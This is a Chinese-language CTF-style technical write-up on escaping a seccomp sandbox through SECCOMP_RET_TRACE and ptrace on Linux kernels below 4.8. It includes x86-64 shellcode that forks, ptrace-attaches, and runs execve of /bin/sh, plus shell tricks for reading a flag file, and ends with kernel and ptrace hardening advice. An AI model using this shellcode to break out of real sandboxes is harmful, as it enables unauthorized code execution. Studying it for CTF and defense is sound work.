return trace情况的沙盒逃逸(linux内核低于4.8版本)
字数 1319 2025-08-22 12:22:48

Linux内核SECCOMP_RET_TRACE沙盒逃逸技术分析(内核版本<4.8)

一、技术背景

SECCOMP_RET_TRACE是seccomp过滤器返回的一种动作值,主要用于在特定系统调用被触发时通知基于ptrace(2)的追踪器(tracer)处理该系统调用。在Linux内核版本4.8之前,存在一个安全漏洞允许恶意追踪器利用SECCOMP_RET_TRACE绕过seccomp过滤器限制。

二、核心原理

1. SECCOMP_RET_TRACE工作机制

  1. 过滤器配置:进程设置seccomp过滤器,指定哪些系统调用应返回SECCOMP_RET_TRACE

  2. 系统调用触发

    • 受限进程执行被标记为SECCOMP_RET_TRACE的系统调用
    • 内核检查是否有通过ptrace附加的追踪器
    • 如果存在追踪器且已设置PTRACE_O_TRACESECCOMP选项,发送PTRACE_EVENT_SECCOMP事件
    • 追踪器可通过PTRACE_GETEVENTMSG获取SECCOMP_RET_DATA数据
    • 无追踪器时,系统调用失败并返回ENOSYS
  3. 追踪器处理选项

    • 跳过系统调用:将系统调用号改为-1
    • 修改系统调用:改为另一个合法系统调用
    • 更改返回值:指定跳过时的返回值

2. 内核版本差异

  • <4.8版本:seccomp检查在追踪器通知后不会再次执行,导致安全绕过
  • ≥4.8版本:修复此问题,seccomp检查会在追踪器处理后再次执行

三、逃逸技术实现

1. 基本流程

  1. 创建子进程:通过fork()创建子进程
  2. 附加追踪器:父进程通过ptrace(PTRACE_ATTACH)附加到子进程
  3. 拦截系统调用
    • 子进程执行被限制的系统调用
    • 内核通知父进程(追踪器)
  4. 修改系统调用
    • 父进程通过ptrace修改系统调用号或参数
  5. 恢复执行:父进程通过PTRACE_CONT恢复子进程执行

2. 关键技术点

  1. ptrace选项设置

    ptrace(PTRACE_SETOPTIONS, pid, 0, PTRACE_O_TRACESECCOMP);
    

    必须设置此选项才能接收SECCOMP事件

  2. 事件处理循环

    • 使用wait4()等待子进程状态变化
    • 检查PTRACE_EVENT_SECCOMP事件
    • 通过PTRACE_GETEVENTMSG获取附加信息
  3. 系统调用修改

    • 使用PTRACE_SYSCALL拦截系统调用
    • 通过PTRACE_POKEUSER修改寄存器值

四、实战示例分析

1. Shellcode实现

_start:
    /* Step 1: fork */
    mov rax, 57       /* fork syscall */
    syscall
    test rax, rax
    js _exit          /* fork失败退出 */
    
    cmp rax, 0
    je child_process  /* 子进程跳转 */

parent_process:
    mov r8, rax       /* 保存子进程PID */
    mov rdi, 0x10     /* PTRACE_ATTACH */
    mov rsi, r8
    xor rdx, rdx
    xor r10, r10
    mov rax, 101      /* ptrace */
    syscall

monitor_child:
    /* 等待子进程停止 */
    mov rdi, r8
    mov rsi, rsp
    xor rdx, rdx
    xor r10, r10
    mov rax, 61       /* wait4 */
    syscall
    
    /* 设置ptrace选项 */
    mov rdi, 0x4200   /* PTRACE_SETOPTIONS */
    mov rsi, r8
    xor rdx, rdx
    mov r10, 0x80     /* PTRACE_O_TRACESECCOMP */
    mov rax, 101
    syscall
    
    /* 继续执行子进程 */
    mov rdi, 0x7      /* PTRACE_CONT */
    mov rsi, r8
    xor rdx, rdx
    xor r10, r10
    mov rax, 101
    syscall
    
    jmp monitor_child

child_process:
    /* 子进程执行受限操作 */
    push 1
    dec byte ptr [rsp]
    push 5
    mov rdi, rsp
    xor esi, esi
    mov rax, 35       /* nanosleep */
    syscall
    
    /* 尝试执行受限的execve */
    mov rax, 0x{order2}  /* "/bin/sh"字符串地址 */
    push rax
    mov rax, 0x{order1}
    push rax
    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    mov rax, 59       /* execve */
    syscall

_exit:
    mov rax, 60
    xor rdi, rdi
    syscall

2. 绕过限制后的命令执行

由于原始沙盒限制仍然存在,需要使用替代命令:

  • 代替lsecho *
  • 读取文件:
    while IFS= read -r line; do echo "$line"; done < flag
    

五、防御措施

  1. 升级内核:确保使用≥4.8版本的内核
  2. 限制ptrace
    • 设置/proc/sys/kernel/yama/ptrace_scope为1或更高
    • 使用seccomp禁止ptrace相关系统调用
  3. 深度防御:结合其他安全机制如namespace、capability等

六、参考文献

  1. Linux内核源码(<4.8版本)
  2. seccomp和ptrace手册页
  3. 羊城杯2024 pwn writeup (Qanux's space)
  4. 先知社区相关技术讨论
Linux内核SECCOMP_ RET_ TRACE沙盒逃逸技术分析(内核版本 <4.8) 一、技术背景 SECCOMP_ RET_ TRACE是seccomp过滤器返回的一种动作值,主要用于在特定系统调用被触发时通知基于ptrace(2)的追踪器(tracer)处理该系统调用。在Linux内核版本4.8之前,存在一个安全漏洞允许恶意追踪器利用SECCOMP_ RET_ TRACE绕过seccomp过滤器限制。 二、核心原理 1. SECCOMP_ RET_ TRACE工作机制 过滤器配置 :进程设置seccomp过滤器,指定哪些系统调用应返回SECCOMP_ RET_ TRACE 系统调用触发 : 受限进程执行被标记为SECCOMP_ RET_ TRACE的系统调用 内核检查是否有通过ptrace附加的追踪器 如果存在追踪器且已设置PTRACE_ O_ TRACESECCOMP选项,发送PTRACE_ EVENT_ SECCOMP事件 追踪器可通过PTRACE_ GETEVENTMSG获取SECCOMP_ RET_ DATA数据 无追踪器时,系统调用失败并返回ENOSYS 追踪器处理选项 : 跳过系统调用:将系统调用号改为-1 修改系统调用:改为另一个合法系统调用 更改返回值:指定跳过时的返回值 2. 内核版本差异 <4.8版本 :seccomp检查在追踪器通知后不会再次执行,导致安全绕过 ≥4.8版本 :修复此问题,seccomp检查会在追踪器处理后再次执行 三、逃逸技术实现 1. 基本流程 创建子进程 :通过fork()创建子进程 附加追踪器 :父进程通过ptrace(PTRACE_ ATTACH)附加到子进程 拦截系统调用 : 子进程执行被限制的系统调用 内核通知父进程(追踪器) 修改系统调用 : 父进程通过ptrace修改系统调用号或参数 恢复执行 :父进程通过PTRACE_ CONT恢复子进程执行 2. 关键技术点 ptrace选项设置 : 必须设置此选项才能接收SECCOMP事件 事件处理循环 : 使用wait4()等待子进程状态变化 检查PTRACE_ EVENT_ SECCOMP事件 通过PTRACE_ GETEVENTMSG获取附加信息 系统调用修改 : 使用PTRACE_ SYSCALL拦截系统调用 通过PTRACE_ POKEUSER修改寄存器值 四、实战示例分析 1. Shellcode实现 2. 绕过限制后的命令执行 由于原始沙盒限制仍然存在,需要使用替代命令: 代替 ls : echo * 读取文件: 五、防御措施 升级内核 :确保使用≥4.8版本的内核 限制ptrace : 设置 /proc/sys/kernel/yama/ptrace_scope 为1或更高 使用seccomp禁止ptrace相关系统调用 深度防御 :结合其他安全机制如namespace、capability等 六、参考文献 Linux内核源码( <4.8版本) seccomp和ptrace手册页 羊城杯2024 pwn writeup (Qanux's space) 先知社区相关技术讨论